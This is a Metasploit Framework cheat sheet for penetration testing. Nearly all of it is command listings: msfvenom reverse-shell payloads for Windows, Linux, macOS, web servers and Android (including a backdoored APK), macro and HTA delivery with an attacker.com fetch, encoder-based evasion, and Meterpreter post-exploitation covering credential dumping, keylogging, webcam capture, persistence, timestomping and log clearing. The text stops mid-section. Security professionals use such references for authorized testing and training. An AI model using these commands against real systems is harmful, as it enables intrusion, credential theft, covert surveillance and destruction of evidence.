Metasploit Framework

Complete Cheat Sheet

Comprehensive Reference for Penetration Testing

October 31, 2025

Contents

1 Introduction to Metasploit Framework

1.1 What is Metasploit?

Metasploit Framework is an open-source penetration testing platform that enables security professionals to find, exploit, and validate vulnerabilities. It provides a comprehensive suite of tools for reconnaissance, exploitation, and post-exploitation activities.

1.2 Key Components

- **msfconsole**: The primary interface for Metasploit, providing an interactive shell for managing and executing exploits
- **msfvenom**: Payload generator and encoder, combining msfpayload and msfencode
- **Meterpreter**: Advanced, dynamically extensible payload that provides a powerful post-exploitation platform
- **Auxiliary Modules**: Supporting modules for scanning, fuzzing, and gathering information
- **Exploit Modules**: Code that takes advantage of specific vulnerabilities

1.3 Metasploit Directory Structure

```
/usr/share/metasploit-framework/
        modules/        # All exploit, auxiliary, post, and payload modules
             exploits/   # Exploit modules
             auxiliary/  # Auxiliary modules (scanners, fuzzers)
             post/       # Post-exploitation modules
             payloads/   # Payload modules
        plugins/        # Metasploit plugins
        scripts/        # Meterpreter and other scripts
        tools/          # Various standalone tools
        data/           # Data files, wordlists, templates
```

1.4 Basic Terminology

Key Terms

Exploit Code that takes advantage of a vulnerability

Payload Code executed after successful exploitation

Shellcode Small piece of code used as the payload

Module Self-contained piece of code (exploit, auxiliary, post, etc.)

Listener Component waiting for incoming connections

Handler Manages sessions from successful exploits

Session Interactive connection to a compromised system

Resource Script Automated script containing msfconsole commands

1.5 Payload Types

1.5.1 Singles

Self-contained payloads that don't require additional components. They include both exploit and callback code.

1.5.2 Stagers

Small payloads that establish a connection and download a larger payload (stage).

1.5.3 Stages

Downloaded by stagers to provide full functionality (e.g., Meterpreter, shell).

Payloads follow the format: `<platform>/<architecture>/<payload>`

- `windows/x64/meterpreter/reverse_tcp` - Staged Meterpreter
- `windows/x64/meterpreter_reverse_tcp` - Stageless Meterpreter (single)
- `linux/x86/shell/reverse_tcp` - Staged shell
- `linux/x86/shell_reverse_tcp` - Stageless shell

Note: Underscore (_) indicates a single payload, forward slash (/) indicates staged.

1.6 Quick Start

```
# Start Metasploit console
msfconsole

# Update Metasploit
apt update && apt install metasploit-framework

# Initialize database (PostgreSQL)
msfdb init
msfdb start

# Check database connection
db_status
```

2 msfconsole - The Metasploit Console

2.1 Basic Commands

Essential msfconsole Commands

```
# Get help
help
help <command>

# Search for modules
search <keyword>
search type:exploit platform:windows
search cve:2021 rank:excellent

# Module information
info <module_name>
show options
show advanced
show payloads
show targets

# Module selection and usage
use <module_path>
set <OPTION> <value>
setg <OPTION> <value> # Global setting
unset <OPTION>
unsetg <OPTION>

# Execute
run
exploit
exploit -j # Run as background job
exploit -z # Don't interact with session
```

2.2 Search Operators

```
# Search by type
search type:exploit
search type:auxiliary
search type:post
search type:payload

# Search by platform
search platform:windows
search platform:linux
search platform:osx

# Search by CVE
search cve:2021
search cve:2021-44228 # Log4Shell

# Search by rank (reliability)
search rank:excellent
search rank:great
search rank:good

# Combined searches
search type:exploit platform:windows smb
```

```
search ms17-010
search eternalblue

# Search specific fields
search name:apache
search author:rapid7
```

2.3 Database Commands

Workspace and Database Management

```
# Database status
db_status

# Workspace management
workspace               # List workspaces
workspace -a <name>     # Add workspace
workspace <name>        # Switch workspace
workspace -d <name>     # Delete workspace
workspace -r <old> <new> # Rename workspace

# Import/export
db_import <file>       # Import scan results (Nmap, Nessus, etc.)
db_export -f xml <file> # Export database

# Host management
hosts                   # List discovered hosts
hosts -a <ip>          # Add host
hosts -d <ip>          # Delete host
hosts -u               # Show only up hosts

# Service management
services               # List discovered services
services -p <port>     # Show services on specific port
services -s <name>     # Show specific service

# Vulnerability management
vulns                  # List vulnerabilities
vulns -p <port>        # Vulns on specific port

# Credentials
creds                  # List stored credentials
creds -a              # List all credential types
creds -u <username>   # Show specific user

# Notes
notes                  # List notes
notes -t <type>       # Show notes of specific type
```

2.4 Session Management

```
# List sessions
sessions
sessions -l

# Interact with session
sessions -i <id>
```

```
# Background session
background
Ctrl+Z

# Kill session
sessions -k <id>

# Kill all sessions
sessions -K

# Execute command on session
sessions -c <cmd> -i <id>

# Run script on session
sessions -s <script> -i <id>

# Upgrade shell to Meterpreter
sessions -u <id>

# Clean up sessions
sessions -K # Kill all
```

2.5 Job Management

Background Jobs

```
# List jobs
jobs
jobs -l

# Kill job
jobs -k <id>

# Kill all jobs
jobs -K

# View job info
jobs -i <id>

# Run exploit as job
exploit -j
run -j
```

2.6 Module Configuration

```
# Basic options
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.50
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Target selection
show targets
set TARGET <number>

# Advanced options
```

```
show advanced
set VERBOSE true
set AutoRunScript <script>
set InitialAutoRunScript <script>

# Check if target is vulnerable
check

# Save current settings
save
```

2.7 Resource Scripts

Resource scripts automate repetitive tasks in msfconsole.

```
# Load resource script
resource <script.rc>

# Create basic resource script
cat > autopwn.rc << EOF
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
EOF

# Run resource script
msfconsole -r autopwn.rc

# Common locations
/usr/share/metasploit-framework/scripts/resource/
~/.msf4/
```

2.7.1 Example Resource Scripts

```
# auto_exploit.rc - Automatic exploitation
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST eth0
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
exploit -j -z

# port_scan.rc - Network scanning
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 21,22,23,25,80,443,445,3389
set THREADS 50
run

# smb_scan.rc - SMB enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 50
```

```
run
```

2.8 Routing and Pivoting

```
# Add route through session
route add <subnet> <netmask> <session_id>
route add 10.10.10.0 255.255.255.0 1

# List routes
route print

# Remove route
route remove <subnet> <netmask> <session_id>

# Auto-route through Meterpreter
use post/multi/manage/autoroute
set SESSION 1
run
```

2.9 Useful Global Settings

Recommended Global Settings

```
# Set default payload handler
setg PAYLOAD windows/x64/meterpreter/reverse_https
setg LHOST <your_ip>
setg LPORT 443

# Console settings
setg VERBOSE true
setg ConsoleLogging true
setg LogLevel 3

# Prompt customization
setg PROMPT %T %H S:%S J:%J

# Show settings
show options -g
```

2.10 msfconsole Tips and Tricks

- Use `Tab` for auto-completion
- Use `Ctrl+R` for reverse search in history
- Use `grep` to filter output: `search windows | grep 2021`
- Save frequently used settings with `save`
- Use `-j` flag to run exploits as background jobs
- Use `makerc` to save command history to resource script
- Chain commands with `&&`: `use exploit/... && set RHOSTS ... && run`

```
# Save command history to resource script
makerc /tmp/my_commands.rc

# Run multiple commands
use exploit/windows/smb/ms17_010_eternalblue && set RHOSTS 192.168.1.100 && run

# Filter with grep
search eternalblue | grep excellent

# Time stamp commands
echo "Starting scan at $(date)"
```

3 msfvenom - Payload Generator

3.1 Overview

msfvenom combines msfpayload and msfencode into a single tool for generating and encoding payloads. It's used to create standalone payloads in various formats for different platforms.

3.2 Basic Syntax

msfvenom Command Structure

```
msfvenom -p <payload> [options] -f <format> -o <output_file>

# Common structure
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o file
```

3.3 Listing Available Options

```
# List all payloads
msfvenom --list payloads
msfvenom -l payloads

# List formats
msfvenom --list formats
msfvenom -l formats

# List encoders
msfvenom --list encoders
msfvenom -l encoders

# List platforms
msfvenom --list platforms

# List architectures
msfvenom --list archs

# Get payload options
msfvenom -p <payload> --list-options
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
```

3.4 Windows Payloads

3.4.1 Reverse TCP Payloads

```
# Windows x64 Meterpreter Reverse TCP (Staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Windows x64 Meterpreter Reverse TCP (Stageless)
msfvenom -p windows/x64/meterpreter_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe -o shell_stageless.exe

# Windows x86 (32-bit)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe -o shell_x86.exe

# Windows Shell (non-Meterpreter)
```

```
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe -o cmd_shell.exe
```

3.4.2 Reverse HTTPS Payloads

```
# Windows x64 Meterpreter Reverse HTTPS
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 -f exe -o shell_https.exe

# With custom User-Agent
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  -f exe -o shell_custom.exe
```

3.4.3 Bind Payloads

```
# Windows x64 Meterpreter Bind TCP
msfvenom -p windows/x64/meterpreter/bind_tcp \
  LPORT=4444 -f exe -o bind_shell.exe

# Windows Shell Bind TCP
msfvenom -p windows/x64/shell_bind_tcp \
  LPORT=4444 -f exe -o bind_cmd.exe
```

3.5 Linux Payloads

```
# Linux x64 Meterpreter Reverse TCP
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# Linux x64 Shell Reverse TCP
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f elf -o shell_linux.elf

# Linux x86 (32-bit)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f elf -o shell_x86.elf

# Linux Bind Shell
msfvenom -p linux/x64/shell_bind_tcp \
  LPORT=4444 -f elf -o bind_linux.elf
```

3.6 macOS Payloads

```
# macOS x64 Meterpreter Reverse TCP
msfvenom -p osx/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f macho -o shell.macho

# macOS Shell Reverse TCP
msfvenom -p osx/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f macho -o shell_osx.macho
```

3.7 Web Payloads

3.7.1 PHP Payloads

```
# PHP Meterpreter Reverse TCP
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# PHP Command Shell
msfvenom -p php/reverse_php \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o cmd_shell.php
```

3.7.2 ASP/ASPX Payloads

```
# ASP Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# ASPX Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f aspx -o shell.aspx
```

3.7.3 JSP Payloads

```
# JSP Meterpreter
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp

# WAR file (for Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
```

3.8 Script Payloads

3.8.1 Python Payloads

```
# Python Reverse Shell
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# Python Stageless
msfvenom -p python/meterpreter_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell_stageless.py
```

3.8.2 Bash/Shell Scripts

```
# Bash reverse shell
msfvenom -p cmd/unix/reverse_bash \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.sh

# Perl reverse shell
msfvenom -p cmd/unix/reverse_perl \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.pl
```

3.8.3 PowerShell Payloads

```
# PowerShell Reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# PowerShell Command
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f psh-cmd

# PowerShell one-liner (base64)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f psh-reflection
```

3.9 Mobile Payloads

3.9.1 Android (APK)

```
# Android Meterpreter
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Android Reverse HTTPS
msfvenom -p android/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 -o shell_https.apk

# Inject into existing APK
msfvenom -x original.apk \
  -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -o infected.apk
```

3.10 DLL and Other Formats

```
# Windows DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f dll -o shell.dll

# Windows Service Executable
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe-service -o service.exe

# VBA Macro
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f vba -o macro.vba

# VBS Script
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f vbs -o shell.vbs

# HTA Application
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f hta-psh -o app.hta
```

3.11 Shellcode Formats

```
# C format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
```

```
  LHOST=192.168.1.50 LPORT=4444 -f c

# Python format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f python

# C# format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f csharp

# Java format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f java

# Ruby format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f ruby

# Raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f raw -o shellcode.bin
```

3.12 Encoding and Obfuscation

3.12.1 Basic Encoding

```
# Encode with x86/shikata_ga_nai (1 iteration)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -f exe -o encoded.exe

# Multiple iterations
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o encoded_10x.exe

# x64 encoder
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 -f exe -o encoded_x64.exe
```

3.12.2 Available Encoders

```
# Popular encoders
x86/shikata_ga_nai    # Polymorphic XOR additive feedback
x64/xor_dynamic       # Dynamic XOR encoder
x86/call4_dword_xor   # Call+4 Dword XOR Encoder
cmd/powershell_base64 # PowerShell Base64 Command Encoder
php/base64            # PHP Base64 Encoder
```

3.13 Template Injection

```
# Inject into existing PE file
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x template.exe -f exe -o injected.exe
```

```
# Keep template functionality
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x template.exe -k -f exe -o injected_keep.exe
```

3.14 Bad Character Avoidance

```
# Avoid null bytes
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b '\x00' -f python

# Avoid multiple bad characters
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b '\x00\x0a\x0d' -f c

# Common bad characters to avoid
# \x00 - Null byte
# \x0a - Line feed
# \x0d - Carriage return
# \x20 - Space
```

3.15 Advanced Options

Advanced msfvenom Options

```
# Add NOP sled
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -n 200 -f exe -o nop_shell.exe

# Specify platform and architecture
msfvenom -p generic/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  --platform windows --arch x64 -f exe -o shell.exe

# Smallest possible payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  --smallest -f exe -o smallest.exe
```

3.16 Handler Setup

After generating a payload, set up a handler in msfconsole:

```
# In msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z
```

3.17 Common Use Cases

3.17.1 Macro-Enabled Documents

```
# Generate VBA macro
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 -f vba -o macro.vba

# Steps:
# 1. Create document in Microsoft Office
# 2. Enable Developer tab
# 3. Insert Module in VBA editor
# 4. Paste generated macro code
# 5. Save as .docm or .xlsm
```

3.17.2 Web Delivery

```
# HTA Payload for web delivery
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 -f hta-psh -o app.hta

# Victim executes:
# mshta.exe http://attacker.com/app.hta
```

4 Meterpreter - Advanced Payload

4.1 Overview

Meterpreter is an advanced, dynamically extensible payload that operates entirely in memory (RAM) to avoid detection. It uses encrypted communications and provides a comprehensive post-exploitation platform.

4.2 Basic Commands

Essential Meterpreter Commands

```
# Help
help
help <command>

# Background session
background
Ctrl+Z

# Exit Meterpreter
exit
quit

# System information
sysinfo
getuid

# Current directory
pwd
getwd

# List directory
ls
dir
```

4.3 File System Operations

```
# Navigation
cd <directory>
lcd <local_directory> # Change local directory

# File operations
cat <file>          # Read file
download <file>     # Download file
download <file> <local_path>
upload <file>       # Upload file
upload <local> <remote>

# Search
search -f *.txt     # Search for files
search -d <dir> -f <pattern>

# File manipulation
edit <file>         # Edit file
rm <file>           # Delete file
mkdir <dir>         # Create directory
rmdir <dir>         # Remove directory
```

```
# Show file contents
cat c:\\windows\\system32\\drivers\\etc\\hosts

# Download entire directory
download C:\\Users\\victim\\Documents
```

4.4 Process Management

```
# List processes
ps

# Get current process ID
getpid

# Kill process
kill <pid>

# Migrate to another process
migrate <pid>

# Execute program
execute -f <program>
execute -f cmd.exe -i -H # Interactive, hidden

# Common migration targets (stable processes)
migrate -N explorer.exe
migrate -N lsass.exe
migrate -N spoolsv.exe
```

Migrate to a stable system process to maintain persistence:

- `explorer.exe` - User's Windows Explorer
- `lsass.exe` - Local Security Authority (requires SYSTEM)
- `spoolsv.exe` - Print Spooler service
- `svchost.exe` - Generic service host

Always migrate away from unstable processes to prevent losing the session.

4.5 System Commands

```
# Shell access
shell                # Get system shell
Ctrl+Z              # Background shell

# Execute single command
execute -f cmd.exe -a "/c whoami"

# System information
sysinfo             # OS, architecture, language
idletime            # User idle time

# Reboot/shutdown
reboot
```

```
shutdown
```

4.6 Network Commands

```
# Network information
ipconfig
ifconfig
route               # Show routing table

# Network connections
netstat
arp                 # ARP table

# Port forwarding
portfwd add -l <lport> -p <rport> -r <target>
portfwd add -l 3389 -p 3389 -r 10.10.10.5
portfwd delete -l <lport>
portfwd list
portfwd flush       # Remove all forwards

# ARP scanning
arp_scanner -r 192.168.1.0/24
```

4.7 Privilege Escalation

```
# Check current privileges
getuid
getprivs

# Attempt privilege escalation
getsystem

# Privilege escalation techniques
getsystem -t 0      # Named pipe impersonation (default)
getsystem -t 1      # Named pipe (alternate)
getsystem -t 2      # Token duplication

# UAC bypass
background
use exploit/windows/local/bypassuac
set SESSION 1
run

# Suggest local exploits
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

`getsystem` attempts to escalate from Admin to SYSTEM. It may fail on modern Windows with enhanced security. Use local exploit suggester for alternatives.

4.8 Credential Harvesting

4.8.1 Using Kiwi (Mimikatz)

```
# Load Kiwi extension
load kiwi

# Dump credentials
creds_all          # All credentials
creds_wdigest      # WDigest credentials
creds_msv          # MSV credentials
creds_kerberos     # Kerberos tickets
creds_ssp          # SSP credentials
creds_tspkg        # TsPkg credentials

# Dump password hashes
lsa_dump_sam       # SAM database
lsa_dump_secrets   # LSA secrets

# Golden ticket (requires Domain Admin)
golden_ticket_create

# Kerberos tickets
kerberos_ticket_list
kerberos_ticket_use <ticket>
kerberos_ticket_purge
```

4.8.2 Hash Dumping

```
# Dump hashes (requires SYSTEM)
hashdump

# Post-exploitation module
background
use post/windows/gather/hashdump
set SESSION 1
run

# Smart hashdump (tries multiple methods)
background
use post/windows/gather/smart_hashdump
set SESSION 1
run
```

4.9 Persistence

```
# Run persistence module
background
use exploit/windows/local/persistence
set SESSION 1
set STARTUP SYSTEM # or USER
run

# Service persistence
background
use exploit/windows/local/persistence_service
set SESSION 1
run

# Registry persistence
background
use exploit/windows/local/registry_persistence
```

```
set SESSION 1
run

# VNC persistence
background
use exploit/windows/local/persistent_vnc
set SESSION 1
run
```

4.10 Timestomp

```
# View timestamps
timestomp <file> -v

# Modify timestamps
timestomp <file> -m "01/01/2020 12:00:00"
timestomp <file> -a "01/01/2020 12:00:00"
timestomp <file> -c "01/01/2020 12:00:00"

# Copy timestamps from another file
timestomp <target> -f <source>

# Blank timestamps
timestomp <file> -b
```

4.11 Screenshot and Keylogging

```
# Take screenshot
screenshot
screengrab

# Start keylogger
keyscan_start

# Dump captured keystrokes
keyscan_dump

# Stop keylogger
keyscan_stop

# Record from webcam
webcam_list         # List webcams
webcam_snap         # Take snapshot
webcam_stream       # Stream video
```

4.12 Packet Sniffing

```
# Load sniffer
load sniffer

# List interfaces
sniffer_interfaces

# Start sniffing
sniffer_start <interface>

# View statistics
```

```
sniffer_stats <interface>

# Dump captured packets
sniffer_dump <interface> /tmp/capture.pcap

# Stop sniffing
sniffer_stop <interface>
```

4.13 Pivoting with Meterpreter

```
# Add route
run autoroute -s 10.10.10.0/24

# Print routes
run autoroute -p

# Background and use modules on pivoted network
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,443,445,3389
run

# SOCKS proxy for pivoting
background
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run -j

# Configure proxychains
# Edit /etc/proxychains.conf
# socks4 127.0.0.1 1080
```

4.14 Port Forwarding Examples

```
# Forward RDP
portfwd add -l 13389 -p 3389 -r 10.10.10.5
# Connect: rdesktop 127.0.0.1:13389

# Forward SSH
portfwd add -l 12222 -p 22 -r 10.10.10.10
# Connect: ssh -p 12222 user@127.0.0.1

# Forward web server
portfwd add -l 18080 -p 80 -r 10.10.10.20
# Browse: http://127.0.0.1:18080

# List all forwards
portfwd list

# Delete specific forward
portfwd delete -l 13389

# Flush all forwards
portfwd flush
```

4.15 Advanced Meterpreter Extensions

Loading Extensions

```
# Load extensions
load kiwi          # Mimikatz functionality
load powershell    # PowerShell integration
load python        # Python interpreter
load extapi        # Extended API
load priv          # Privilege escalation tools
load incognito     # Token manipulation
load sniffer       # Packet sniffing

# List loaded extensions
help

# Unload extension
run -h <extension>
```

4.15.1 Incognito Extension

```
# Load incognito
load incognito

# List available tokens
list_tokens -u    # User tokens
list_tokens -g    # Group tokens

# Impersonate token
impersonate_token DOMAIN\\Administrator

# Revert to original token
rev2self

# Add user to group
add_user <username> <password>
add_group_user "Domain Admins" <username>
add_localgroup_user "Administrators" <username>
```

4.15.2 PowerShell Extension

```
# Load PowerShell
load powershell

# Execute PowerShell command
powershell_execute "Get-Process"
powershell_execute "Get-NetIPConfiguration"

# Import PowerShell script
powershell_import /path/to/script.ps1

# Execute PowerShell script
powershell_shell
PS > Get-LocalUser
PS > exit
```

4.16 Information Gathering

```
# Enumerate applications
background
use post/windows/gather/enum_applications
set SESSION 1
run

# Enumerate logged on users
background
use post/windows/gather/enum_logged_on_users
set SESSION 1
run

# Check VM
background
use post/windows/gather/checkvm
set SESSION 1
run

# Enumerate shares
background
use post/windows/gather/enum_shares
set SESSION 1
run

# Dump Chrome passwords
background
use post/windows/gather/enum_chrome
set SESSION 1
run

# Environment variables
background
use post/windows/gather/enum_env
set SESSION 1
run
```

4.17 Clearing Tracks

```
# Clear event logs (requires admin)
clearev

# Clear specific logs
background
use post/windows/manage/delete_records
set SESSION 1
run

# Clear bash history (Linux)
shell
rm ~/.bash_history
history -c
exit
```

Clearing event logs is a loud operation that may trigger alerts. It's often better to blend in rather than clear tracks. Only use in authorized testing scenarios.

4.18 Session Management

```
# From within Meterpreter
background          # Background current session

# From msfconsole
sessions -l         # List all sessions
sessions -i 1       # Interact with session 1
sessions -u 1       # Upgrade shell to Meterpreter
sessions -k 1       # Kill session 1
sessions -K         # Kill all sessions

# Run command on session without interaction
sessions -c "sysinfo" -i 1

# Run script on session
sessions -s script.rb -i 1
```

4.19 Meterpreter Tips

- Always migrate to a stable process after gaining access
- Use HTTPS payloads for encrypted communication
- Background sessions instead of exiting
- Use `getsystem` to escalate privileges when possible
- Document all actions in authorized penetration tests
- Use `resource` scripts to automate common tasks
- Set up persistence early in long-term engagements
- Clean up artifacts after testing (remove added files, users, etc.)

5 Post-Exploitation

5.1 Overview

Post-exploitation is the phase after initial access where you gather information, escalate privileges, maintain access, and achieve your objectives. Metasploit provides extensive post-exploitation modules.

5.2 Local Exploit Suggester

Automated Privilege Escalation Discovery

```
# Suggest local exploits based on system info
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# This module checks for:
# - Missing patches
# - Vulnerable software
# - Kernel exploits
# - Configuration issues
```

5.3 Windows Post-Exploitation Modules

5.3.1 Credential Gathering

```
# Dump SAM hashes
use post/windows/gather/hashdump
set SESSION 1
run

# Smart hashdump (tries multiple methods)
use post/windows/gather/smart_hashdump
set SESSION 1
run

# Dump LSA secrets
use post/windows/gather/lsa_secrets
set SESSION 1
run

# Cached domain credentials
use post/windows/gather/cachedump
set SESSION 1
run

# Credential manager
use post/windows/gather/credentials/credential_collector
set SESSION 1
run

# Windows vault
use post/windows/gather/credentials/windows_vault
set SESSION 1
run

# Enum domain info
use post/windows/gather/credentials/domain_hashdump
```

```
set SESSION 1
set GETSYSTEM true
run
```

5.3.2 Application-Specific Credentials

```
# Chrome passwords
use post/windows/gather/enum_chrome
set SESSION 1
run

# Firefox passwords
use post/windows/gather/firefox
set SESSION 1
run

# FileZilla credentials
use post/windows/gather/credentials/filezilla_server
set SESSION 1
run

# Skype
use post/windows/gather/credentials/skype
set SESSION 1
run

# TeamViewer
use post/windows/gather/credentials/teamviewer_passwords
set SESSION 1
run

# WinSCP
use post/windows/gather/credentials/winscp
set SESSION 1
run

# Windows Autologin
use post/windows/gather/credentials/windows_autologin
set SESSION 1
run

# VNC passwords
use post/windows/gather/credentials/vnc
set SESSION 1
run

# Enum Putty saved sessions
use post/windows/gather/credentials/putty
set SESSION 1
run

# TightVNC
use post/windows/gather/credentials/tightvnc
set SESSION 1
run
```

5.3.3 System Enumeration

```
# Computer information
use post/windows/gather/computer_info
set SESSION 1
run

# Check if VM
use post/windows/gather/checkvm
set SESSION 1
run

# Installed applications
use post/windows/gather/enum_applications
set SESSION 1
run

# Logged on users
use post/windows/gather/enum_logged_on_users
set SESSION 1
run

# Domain information
use post/windows/gather/enum_domain
set SESSION 1
run

# Domain computers
use post/windows/gather/enum_domain_computers
set SESSION 1
run

# Domain users
use post/windows/gather/enum_domain_users
set SESSION 1
run

# Domain groups
use post/windows/gather/enum_domain_group_users
set SESSION 1
set GROUP "Domain Admins"
run

# Shares
use post/windows/gather/enum_shares
set SESSION 1
run

# ARP scanner
use post/windows/gather/arp_scanner
set SESSION 1
set RHOSTS 192.168.1.0/24
run

# Enum patches
use post/windows/gather/enum_patches
set SESSION 1
run

# USB history
use post/windows/gather/usb_history
set SESSION 1
```

```
run

# Installed updates
use post/windows/gather/enum_updates
set SESSION 1
run
```

5.3.4 Network Enumeration

```
# DNS cache
use post/windows/gather/dnscache
set SESSION 1
run

# Network config
use post/windows/gather/enum_network
set SESSION 1
run

# SNMP configuration
use post/windows/gather/enum_snmp
set SESSION 1
run

# Wifi profiles and passwords
use post/windows/gather/wlan_profile
set SESSION 1
run
```

5.3.5 File Collection

```
# Collect files by extension
use post/windows/gather/dumplinks
set SESSION 1
run

# Search for files
use post/windows/gather/file_search
set SESSION 1
set PATTERN "*.docx"
set PATH "C:\\Users"
run

# Enum interesting files
use post/windows/gather/enum_files
set SESSION 1
set SEARCH_FROM "C:\\Users"
set FILE_GLOBS "*.doc,*.xls,*.pdf,*.txt"
run
```

5.4 Linux Post-Exploitation Modules

5.4.1 Enumeration

```
# System information
use post/linux/gather/enum_system
set SESSION 1
```

```
run

# Installed packages
use post/linux/gather/enum_packages
set SESSION 1
run

# Check for containers
use post/linux/gather/checkcontainer
set SESSION 1
run

# Check for VM
use post/linux/gather/checkvm
set SESSION 1
run

# Network enumeration
use post/linux/gather/enum_network
set SESSION 1
run

# User accounts
use post/linux/gather/enum_users_history
set SESSION 1
run
```

5.4.2 Credential Gathering

```
# Hashdump
use post/linux/gather/hashdump
set SESSION 1
run

# SSH keys
use post/linux/gather/enum_ssh_keys
set SESSION 1
run

# Gnome keyring
use post/linux/gather/gnome_keyring_dump
set SESSION 1
run

# Phpmyadmin credentials
use post/linux/gather/phpmyadmin_credsteal
set SESSION 1
run

# Apache credentials
use post/linux/gather/apache_credentials
set SESSION 1
run

# MySQL credentials
use post/linux/gather/mysql_credentials
set SESSION 1
run

# Pam credentials
```

```
use post/linux/gather/pam_credentials
set SESSION 1
run
```

5.5 Multi-Platform Post-Exploitation

```
# Environment variables
use post/multi/gather/env
set SESSION 1
run

# SSH credentials
